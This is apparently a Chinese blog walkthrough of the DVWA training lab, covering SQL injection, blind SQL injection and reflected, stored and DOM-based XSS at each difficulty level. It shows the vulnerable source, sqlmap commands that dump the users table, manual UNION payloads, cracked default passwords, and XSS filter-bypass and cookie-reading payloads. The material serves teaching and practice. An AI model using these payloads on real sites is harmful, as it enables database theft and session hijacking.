else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
} // 生成Anti-CSRF令牌(虽然在这个代码片段中位置有些靠后,但假设它在合适的位置被调用)
generateSessionToken();
SQL Injection
Low
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>
找注入点:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4"
爆库:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --dbs
爆表:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -D dvwa --tables
爆列:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -D fvwa -T users --columns
爆用户名和密码:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -D fvwa -T users --dump -C"user,password" --dump
上面的直接采用的sqlmap自动化注入
下面是手动
1、找闭合
输入1' 报错输入1'',不报错,说明闭合是单引号
2、确定列数
输入1' order by 2#,返回正确结果输入1' order by 3#,报错,说明只有两列
3、爆库
输入1' union select 1,database()#
得到库名dvwa
4、爆表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761# (0x64767761是dvwa的ascii码)得到表guestbook和users,猜测用户名和密码在users中
5、爆列
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#我用navicat看了一下,dvwa的users表没有这么多列,我怀疑可能是别的数据库里面也有叫users的表,把那些表的列也打出来了。所以这边还得加个数据库名的限制输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#或者1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#用户名和密码的列名应该分别是user和password
6、得到数据库内容:
输入1' union select group_concat(user),group_concat(password) from users#
得到5个用户:admin,gordonb,1337,pablo,smithy
5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password
Mediu
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);
?>
和上面的一样,可以看到是POST提交,直接抓包,sqlmap用-r注入就行
High
看sql注入的盲注,
Impossible
<?php // 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证
if( isset( $_GET[ 'Submit' ] ) ) { // 检查Anti-CSRF token // 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token // 这样做可以防止跨站请求伪造攻击 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 从GET请求中获取'id'参数 $id = $_GET[ 'id' ]; // 检查是否输入了数字 // 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字) if(is_numeric( $id )) { // 使用PDO准备SQL查询语句,以预防SQL注入攻击 // 这里使用了参数化查询来绑定变量 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); // 绑定参数':id'到变量$id,并指定参数类型为整数 $data->bindParam( ':id', $id, PDO::PARAM_INT ); // 执行SQL查询 $data->execute(); // 检查查询结果中的行数 if( $data->rowCount() == 1 ) { // 如果找到一行结果,说明用户ID存在于数据库中 // 反馈给用户 echo '<pre>User ID exists in the database.</pre>'; } else { // 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面 header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // 反馈给用户 echo '<pre>User ID is MISSING from the database.</pre>'; } }
} // 生成一个新的Anti-CSRF token并存储在会话中
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的
generateSessionToken(); ?>
-
CSRF保护:通过检查请求中的
user_token
与会话中存储的session_token
是否一致,来防止CSRF攻击。 -
SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。
-
输入验证:通过
is_numeric()
函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。
SQL Injection (Blind)
Low
<?php
// 开始PHP代码块 if( isset( $_GET[ 'Submit' ] ) ) { // 检查是否存在名为'Submit'的GET请求参数,这通常意味着表单被提交了 // Get input $id = $_GET[ 'id' ]; // 从GET请求中获取名为'id'的参数值,并将其存储在变量$id中 // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 构建一个SQL查询字符串,用于从'users'表中检索与给定$id相匹配的用户的'first_name'和'last_name' // 注意:这里直接将$id插入到SQL查询中,存在SQL注入的风险 $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // 使用全局变量$GLOBALS["___mysqli_ston"](一个预定义的MySQLi连接)来执行上面构建的SQL查询 // mysqli_query()函数返回查询结果集,如果查询失败则返回false // 注意:移除了'or die'部分以抑制MySQL错误,这不是一个好的做法,因为它会隐藏问题 // Get results $num = @mysqli_num_rows( $result ); // 使用@操作符来抑制mysqli_num_rows()函数可能产生的任何错误 // mysqli_num_rows()函数返回结果集中的行数 // 如果$result不是有效的结果集或查询失败,这个调用可能失败,但由于@操作符,错误会被抑制 if( $num > 0 ) { // 如果查询结果中的行数大于0,说明找到了匹配的用户ID // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; // 向用户显示反馈,告知他们用户ID存在于数据库中 } else { // 如果没有找到匹配的用户ID // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // 设置HTTP头部信息,告诉浏览器这是一个404 Not Found错误 // 这通常用于指示请求的资源(在这种情况下是用户ID)不存在 // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; // 尽管已经设置了404头部,但代码仍然继续执行并显示这条消息 // 这通常不是最佳实践,因为一旦设置了404头部,通常应该停止向客户端发送更多内容 } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); // 尝试关闭MySQLi连接,并将结果存储在变量$___mysqli_res中 // 然后,使用三元运算符检查$___mysqli_res是否为null // 但实际上,这个三元运算符的结果没有被用于任何操作,这可能是一个无用的代码行 // 更好的做法是简单地调用mysqli_close()并忽略其返回值
} ?>
// 结束PHP代码块
盲注直接采用sqlmap进行自动化注入
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs
会302,因为当我们直接访问该链接的时候,会要求我们进行登录,故需要cookie值
怎末获取呢,我们可以在xss(reflected)这里进行爆cookie
payload:<a href=javascript:alert(document.cookie)>123456</a>
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆库
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa --tables --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆表
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa -T users --dump --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆字段
Mediu
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close();
}?>
可以看到提交方式是post所以我们需要抓包进行sqlmap的注入
python sqlmap.py -r"E://1.txt" -batch --dbs//爆库
python sqlmap.py -r"E://1.txt" -batch -D dvwa --tables //爆表
python sqlmap.py -r"E://1.txt" -batch -D dvwa -T users --dump //爆字段
1.txt里的是BP抓包的内容
High
<?php // 检查是否存在名为'id'的cookie
if( isset( $_COOKIE[ 'id' ] ) ) { // 从cookie中获取'id'的值 $id = $_COOKIE[ 'id' ]; // 准备SQL查询语句,用于从users表中根据user_id查询first_name和last_name // 注意:这里直接将$id拼接到SQL语句中,存在SQL注入的风险 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; // 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接 // 注意:这里移除了'or die'部分来抑制错误消息,但这会使得错误更难被调试 $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // 检查查询结果是否有多于0行,即是否找到了对应的用户 // 使用'@'来抑制错误,这同样隐藏了潜在的问题 $num = @mysqli_num_rows( $result ); if( $num > 0 ) { // 如果找到了用户,输出反馈 echo '<pre>User ID exists in the database.</pre>'; } else { // 如果用户不存在,可能会随机等待一段时间(2到4秒) if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // 发送HTTP 404状态码,表示用户未找到 header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // 输出用户未找到的反馈 // 注意:在发送header后输出内容通常不是最佳实践,因为header应该在输出任何内容之前发送 echo '<pre>User ID is MISSING from the database.</pre>'; } // 关闭数据库连接,使用全局变量$GLOBALS["___mysqli_ston"] // 注意:这里使用了三元运算符来检查关闭操作是否成功,但结果并未被使用 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
这里采用了链接,双页面,可以抓包获取cookie,也可以向Low一样在Xss管卡进行爆cookie
python sqlmap.py -u "http://dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=high" --batch -D dvwa --tables --thread 10
Impossible
<?php // 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证
if( isset( $_GET[ 'Submit' ] ) ) { // 检查Anti-CSRF token // 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token // 这样做可以防止跨站请求伪造攻击 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 从GET请求中获取'id'参数 $id = $_GET[ 'id' ]; // 检查是否输入了数字 // 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字) if(is_numeric( $id )) { // 使用PDO准备SQL查询语句,以预防SQL注入攻击 // 这里使用了参数化查询来绑定变量 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); // 绑定参数':id'到变量$id,并指定参数类型为整数 $data->bindParam( ':id', $id, PDO::PARAM_INT ); // 执行SQL查询 $data->execute(); // 检查查询结果中的行数 if( $data->rowCount() == 1 ) { // 如果找到一行结果,说明用户ID存在于数据库中 // 反馈给用户 echo '<pre>User ID exists in the database.</pre>'; } else { // 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面 header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // 反馈给用户 echo '<pre>User ID is MISSING from the database.</pre>'; } }
} // 生成一个新的Anti-CSRF token并存储在会话中
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的
generateSessionToken(); ?>
-
CSRF保护:通过检查请求中的
user_token
与会话中存储的session_token
是否一致,来防止CSRF攻击。 -
SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。
-
输入验证:通过
is_numeric()
函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。
Sqli-labs全通关教程(手工注入+工具使用sqlmap)_sqlilabs-CSDN博客
Reflected Cross Site Scripting (XSS)
Low
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>
对用户的输入没有进行任何的转义,存在XSS注入的风险非常大,直接采用script标签注入
js代码在这里执行的,不能在input标签里执行
Mediu
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {//判断name是否存在且不为空// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );//把script标签换成空// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>
所以这里就不能用script标签了,可以用a,img等
High
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );//进行正则匹配// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>
所以直接用a标签
payload:<a onmouseenter="alert(1)">123456</a>
Impossible
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//验证CSRF令牌// Get input$name = htmlspecialchars( $_GET[ 'name' ] );//将name进行html实体转义// Feedback for end userecho "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>
几乎避免了某些情况下的的XSS注入
Stored Cross Site Scripting (XSS)
Low
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );//去除字符串左右两边的空格$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );//去掉反斜杠$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>
Mediu
<?php // 检查是否通过POST方法提交了名为'btnSign'的按钮
if( isset( $_POST[ 'btnSign' ] ) ) { // 获取并修剪(去除前后空白)评论内容 $message = trim( $_POST[ 'mtxMessage' ] ); // 获取并修剪(去除前后空白)姓名 $name = trim( $_POST[ 'txtName' ] ); // 清理评论内容,首先去除HTML标签,然后添加斜杠来转义特殊字符(但这一步通常与下面的mysqli_real_escape_string重复) $message = strip_tags( addslashes( $message ) ); // 如果存在全局的mysqli连接对象,则使用mysqli_real_escape_string来转义特殊字符以防止SQL注入;否则,触发错误 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 使用htmlspecialchars来将特殊HTML字符转换为HTML实体,防止XSS攻击 $message = htmlspecialchars( $message ); // 清理姓名输入,简单地移除'<script>'标签(这不是一个全面的清理方法) $name = str_replace( '<script>', '', $name ); // 类似于$message的处理,但只针对$name $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 准备SQL查询语句,将清理后的数据插入到guestbook表的comment和name字段 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 执行SQL查询,如果失败则输出错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 注释掉的mysql_close();函数是尝试关闭MySQL连接,但这里应该使用mysqli_close()且可能不需要因为连接可能在其他地方重用
} ?>
虽然他把message进行了html实体转义,但是没有对name进行转义,所以这注入点就在name处
但是我们又发现他把name的长度好像限制了,我们可以更改长度限制摁下F12进入开发者模式
将maxlength改为100
payload:<a onmouseover="alert(1)">123456</a>
High
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>
和反射型的一样都是进行了正则匹配,所以直接采用a或者img标签即可,还是像mediu一样在name注入,更改maxlength的长度
Impossible
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>
name和message 都进行了HTML实体的转义,避免了大部分情况下的xss
DOM Based Cross Site Scripting (XSS)
Low
发现每次选择变化URL都会变化,所以直接在构造payload
payload :http://dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>
Mediu
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {//如果存在<script就跳转到english页面header ("location: ?default=English");//页面重定向exit;}
}?>
尝试<a οnmοuseοver="alert(1)">xss</a> 发现不行
发现在select标签里,果断闭合select标签
payload:default=</scelect><a onmouseover="alert(1)">xss</a>
High
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>
发现只能是那4个中的其中一个了,所以我们直接进行注释掉我们注释的代码
payload:default=English#<script>alert(1)</script>
原理:#在php代码里把后面注释掉了,所以就过了他的判断,但是在HTML中又被执行了
相关文章:

DVWA通关教程
Brute Force Low 先进行一下代码审计 <?php // 检查是否通过GET请求传递了Login参数(注意:这里应该是username或类似的,但代码逻辑有误) if( isset( $_GET[ Login ] ) ) { // 从GET请求中获取用户名 $user $_GET[ us…...

网络学习-eNSP配置VRRP
虚拟路由冗余协议(Virtual Router Redundancy Protocol,简称VRRP) VRRP广泛应用在边缘网络中,是一种路由冗余协议,它的设计目标是支持特定情况下IP数据流量失败转移不会引起混乱,允许主机使用单路由器,以及即使在实际…...

Kafka【九】如何实现数据的幂等性操作
为了解决Kafka传输数据时,所产生的数据重复和乱序问题,Kafka引入了幂等性操作,所谓的幂等性,就是Producer同样的一条数据,无论向Kafka发送多少次,kafka都只会存储一条。注意,这里的同样的一条数…...

JavaScript知识点1
目录 1.JavaScript中常用的数组方法有哪些? 2.JavaScript的同源策略? 3.JavaScript中的 NaN 是什么? 4.JavaScript中的split、slice、splice函数区别? 1.JavaScript中常用的数组方法有哪些? 在 JavaScript 中&…...

51单片机个人学习笔记11(AT24C02-I2C总线)
前言 本篇文章属于STC89C52单片机(以下简称单片机)的学习笔记,来源于B站教学视频。下面是这位up主的视频链接。本文为个人学习笔记,只能做参考,细节方面建议观看视频,肯定受益匪浅。 [1-1] 课程简介_哔哩…...

创建Java项目,可实现main方法运行,实现对性能数据的处理
1、Android Studio无法执行Java类的main方法问题及解决方法 Android Studio无法执行Java类的main方法问题及解决方法_delegatedbuild-CSDN博客 D:\workspaces\performanceTools\.idea 文件夹下,gardle.xml ,添加依赖 <option name"delegatedBuild"…...

JavaWeb(后端)
MVC MVC 就是 Model View Controller 的缩写,属于一种软件架构设计模式一种思想,把我们的项目分为控制器(Controller)、模型(Model)、视图(view)三个部分,model就是处理…...

828华为云征文 | 华为云Flexusx实例,高效部署Servas书签管理工具的优选平台
前言 华为云Flexus X实例,Servas书签管理工具部署的优选平台!828节日特惠,让高效管理您的知识宝藏触手可及。Flexus X实例以其卓越的算力、灵活的资源配置和智能调优技术,为Servas提供了稳定、高效的运行环境。无论是快速访问、安…...

分治法和动态规划法
一、分治法(Divide and Conquer) 定义 分治法是一种将大问题分解成若干个小问题,递归地解决这些小问题,然后将这些小问题的解合并起来得到原问题的解的算法策略。(子问题之间相互独立) 基本步骤 1.分解…...

【FreeRL】我的深度学习库构建思想
文章目录 前言参考python环境效果已复现结果 综述DQN.py(主要)算法实现参数修改细节实现显示训练,保存训练 Buffer.pyevaluate.pylearning_curves 前言 代码实现在:https://github.com/wild-firefox/FreeRL 欢迎star 参考 动手学强化学习e…...

Docker部署nginx容器无法访问80端口
问题说明 在阿里云ECS服务器上部署一台CentOS服务器,然后在里面安装了docker服务。用docker部署了nginx,开启docker中的nginx服务,映射宿主机端口80 把阿里云服务器上面的安全组放开了80端口 但是还是无法访问nginx的80web界面 问题分析 查…...

Python语言开发学习之使用Python预测天气
什么是wttr? 使用Python预测天气的第一步,我们要了解wttr是什么。wttr.in是一个面向控制台的天气预报服务,它支持各种信息表示方法,如面向终端的ANSI序列(用于控制台HTTP客户端(curl、httpie或wget))、HTML(用于web浏览器)或PNG(…...

minio实现大文件断点续传
最近工作中遇到一个需求,用户需要上传大文件几百M,为了更好的用户体验,需要支持断点续传,秒传,上传进度条等功能。需求如下: 方案有两种: 第一种:前端直接将整个大文件丢到后端&…...

Qt绘制动态仪表(模仿汽车仪表指针、故障灯)
背景: 项目需要,可能需要做一些仪表显示。此篇除了介绍实现方法,还要说明心路历程。对我而言,重要的是心理,而不是技术。写下来也是自勉。 本人起初心里是比较抵触的,从业20多年了,深知所谓界…...

【视频教程】GEE遥感云大数据在林业中的应用与典型案例实践
近年来遥感技术得到了突飞猛进的发展,航天、航空、临近空间等多遥感平台不断增加,数据的空间、时间、光谱分辨率不断提高,数据量猛增,遥感数据已经越来越具有大数据特征。遥感大数据的出现为相关研究提供了前所未有的机遇…...

【时时三省】c语言例题----华为机试题<字符串排序>
山不在高,有仙则名。水不在深,有龙则灵。 ----CSDN 时时三省 1,题目 HJ14 字符串排序 描述 给定 n 个字符串,请对 n 个字符串按照字典序排列。 数据范围: 1≤n≤1000 1≤n≤1000 ,字符串长度满足 1≤l…...

基于vue框架的城市体育运动交流平台15s43(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。
系统程序文件列表 项目功能:用户,赛事类型,近期赛事,比赛报名,器材类型,器材信息,自由约战,运动队伍 开题报告内容 基于Vue框架的城市体育运动交流平台开题报告 一、项目背景与意义 随着城市化进程的加速和居民健康意识的提升,城市体育运动已成为现代…...

2024年软件测试经典大厂面试题(全3套)【包含答案】
前言 金三银四即将过去,后面迎来的便是金九银十,一直想着说分享一些软件测试的面试题,这段时间做了一些收集和整理,下面共有三篇经典面试题,大家可以试着做一下,答案附在后面,希望能帮助到大家。…...

What is Node.JS and its Pros and Cons
What is Node.JS and its Pros and Cons JavaScript is a client-side development tool. Node.js is a server-side development tool. And it’s only a runtime environment based on Chrome V8 so we don’t write some code in Node.js. Pros: JavaScript on a server …...

TestCraft - GPT支持的测试想法生成器和自动化测试生成器
在当今快速变化的软件开发世界中,自动化测试已成为确保软件质量的关键环节。而随着AI技术的进步,越来越多的工具开始引入人工智能,来辅助生成测试用例和自动化测试脚本。其中,TestCraft,作为一款GPT支持的测试想法生成…...

FreeRTOS内部机制学习04(任务通知和软件定时器)
文章目录 何为任务通知?任务通知使用例子任务通知的优势以及劣势优势劣势 深入源码看看API函数内部干了什么函数的种类函数都做了啥? 软件定时器软件定时器的作用软件定时器内部到底做了什么实现了“闹钟”功能引入守护任务,守护任务做了啥&a…...

华为eNSP :WLAN的配置
一、WLAN的知识点: VLAN配置: VLAN:可以想象成一个大房子(网络)里划分的不同房间(VLAN)。每个房间可以有自己的功能,比如一个用于睡觉(管理),另一…...

中国大数据产业的融资热潮来袭,哪些领域最受资本青睐?
大数据产业是以数据及数据所蕴含的信息价值为核心生产要素,通过数据技术、数据产品、数据服务等形式,使数据与信息价值在各行业经济活动中得到充分释放的赋能型产业。 基于启信产业大脑的海量数据与专业研判模型,本文将从产业图谱、区域分析…...

Unity数据持久化 之 使用Excel.DLL读写Excel表格
本文仅作笔记学习和分享,不用做任何商业用途 本文包括但不限于unity官方手册,unity唐老狮等教程知识,如有不足还请斧正 终于找到一个比较方便容易读表的方式了,以前用json读写excel转的cvs格式文件我怎么使用怎么别扭…...

Linux系统:chown命令
